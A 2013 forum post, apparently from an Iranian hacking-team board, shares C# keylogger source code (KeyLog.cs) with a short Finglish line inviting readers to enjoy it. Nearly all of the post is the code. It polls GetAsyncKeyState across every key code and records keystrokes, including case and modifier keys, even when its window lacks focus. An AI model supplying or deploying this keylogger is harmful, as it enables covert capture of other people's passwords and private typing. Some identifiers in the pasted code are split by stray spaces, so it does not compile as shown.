Mer+sad FireBuzZ TeaM
Medals : Posts : 391 Emtiaz : 39592 Thanked : 45 Join date : 2013-09-14 Job/Hobbies : Bikar :D Asl : mersad My Mood :
| Subject: code k--e--yl--og--ger for c# Wed Nov 13, 2013 2:18 pm | |
| salam bax gol inam code keyloger hast berid halsho bebarid - Code:
-
* Name: KeyLog.cs * Version: 1.1 * Date: 2009 * Description: * Gets the key pressed by the user, whether the form has focus or not. * It can detect Shift/Control/CapsLock, which means it can detect upper/lower case. * However this version does not detect special characters or the Alt key (still to do). * Copyright: * Developed by Carlos Raposo. * crwld.org @ 2009 * This work is licenced under a Creative Commons Licence. * Please refer to: creativecommons.org/licenses/by-nc-sa/3.0/ for more information. */ using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows.Forms; using System.Runtime.InteropServices; public class KeyLog { //-> Declare GetAsyncKeyState(). [DllImport("User32.dll")] private static extern short GetAsyncKeyState(Keys vKey); //To check the current status of a virtual key. [DllImport("user32.dll")] private static extern short GetAsyncKeyState(Int32 vKey); //To check the current status of a virtual key. [DllImport("user32.dll")] private static extern short GetKeyState(Keys vKey); //To check if a key is currently toggled (on/off). [DllImport("user32.dll")] private static extern short GetKeyState(Int32 vKey); //To check if a key is currently toggled (on/off). //-> getKey() checks what keys have been pressed and returns the pressed keys, if any. //-> Otherwise, returns null. //-> The pressed keys are returned in a List<string> as (string)char/key name. public List<string> getKey() { List<string> myKeys = new List<string>(); //Declare the list of keys as int. for (int i = 0; i <= 255; i++) //Go through all key codes to check if any key is pressed. { int j = GetAsyncKeyState(i); //Get state of key i. if (j == -32767) //Check if key is pressed. { if (i >= 65 && i <= 122) //From char 65 to 122 { if (ShiftKey && CapsLock) //If Shift and CapsLock are toggled. myKeys.Add(((char)(i + 32)).ToString()); //Lower case. else if (ShiftKey) //If Shift or CapsLock is toggled. myKeys.Add(((char)(i)).ToString()); //Upper case. else if (CapsLock) //If Shift or CapsLock is toggled. myKeys.Add(((char)(i)).ToString()); //Upper case. else //Any other situation. myKeys.Add(((char)(i + 32)).ToString()); //Lower case. } else if (i >= 48 && i <= 57) //From char 48 to 57 { if (ShiftKey) //If Shift is toggled. myKeys.Add(((char)(i - 16)).ToString()); //Symbols. else //If Shift is not toggled. myKeys.Add(((char)(i)).ToString()); //Numbers. } else myKeys.Add(Enum.GetName(typeof(Keys), i)); //Any other situation. //Check keys toggled if (ShiftKey && !(myKeys.Contains(Keys.ShiftKey.ToString()))) myKeys.Add(Keys.ShiftKey.ToString()); //Add 'ShiftKey' if enabled. if (ShiftKeyL && !(myKeys.Contains(Keys.LShiftKey.ToString()))) myKeys.Add(Keys.LShiftKey.ToString()); //Add 'LShiftKey' if enabled. if (ShiftKeyR && !(myKeys.Contains(Keys.RShiftKey.ToString()))) myKeys.Add(Keys.RShiftKey.ToString()); //Add 'RShiftKey' if enabled. if (ControlKey && !(myKeys.Contains(Keys.ControlKey.ToString()))) myKeys.Add(Keys.ControlKey.ToString()); //Add 'ControlKey' if enabled. if (ControlKeyL && !(myKeys.Contains(Keys.LControlKey.ToString()))) myKeys.Add(Keys.LControlKey.ToString()); //Add 'LControlKey' if enabled. if (ControlKeyR && !(myKeys.Contains(Keys.RControlKey.ToString()))) myKeys.Add(Keys.RControlKey.ToString()); //Add 'RControlKey' if enabled. if (AltKey && !(myKeys.Contains(Keys.Menu.ToString()))) myKeys.Add(Keys.Menu.ToString()); //Add 'Menu' (Alt key) if enabled. if (AltKeyL && !(myKeys.Contains(Keys.LMenu.ToString()))) myKeys.Add(Keys.LMenu.ToString()); //Add 'LMenu' if enabled. if (AltKeyR && !(myKeys.Contains(Keys.RMenu.ToString()))) myKeys.Add(Keys.RMenu.ToString()); //Add 'RMenu' if enabled. if (CapsLock && (!(myKeys.Contains(Keys.CapsLock.ToString())) && !(myKeys.Contains(Keys.CapsLock.ToString() + "[Enabled]")))) myKeys.Add(Keys.CapsLock.ToString() + "[Enabled]"); //Add 'CapsLock[Enabled]' if enabled. if (NumLock && (!(myKeys.Contains(Keys.NumLock.ToString())) && !(myKeys.Contains(Keys.NumLock.ToString() + "[Enabled]")))) myKeys.Add(Keys.NumLock.ToString() + "[Enabled]"); //Add 'NumLock' if enabled. } } return myKeys; //Return the list. } //-> Get keys toogle state (on/off). #region Toggles public static bool ControlKey { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ControlKey )); } } public static bool ControlKeyL { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LControlKe y)); } } public static bool ControlKeyR { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RControlKe y)); } } public static bool ShiftKey { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) ; } } public static bool ShiftKeyL { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LShiftKey) ); } } public static bool ShiftKeyR { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RShiftKey) ); } } public static bool AltKey { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.Menu)); } } public static bool AltKeyL { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.LMenu)); } } public static bool AltKeyR { get { return Convert.ToBoolean(GetAsyncKeyState(Keys.RMenu)); } } public static bool CapsLock { get { return Convert.ToBoolean(GetKeyState(Keys.CapsLock)); } } public static bool NumLock { get { return Convert.ToBoolean(GetKeyState(Keys.NumLock)); } } #endregion } |
|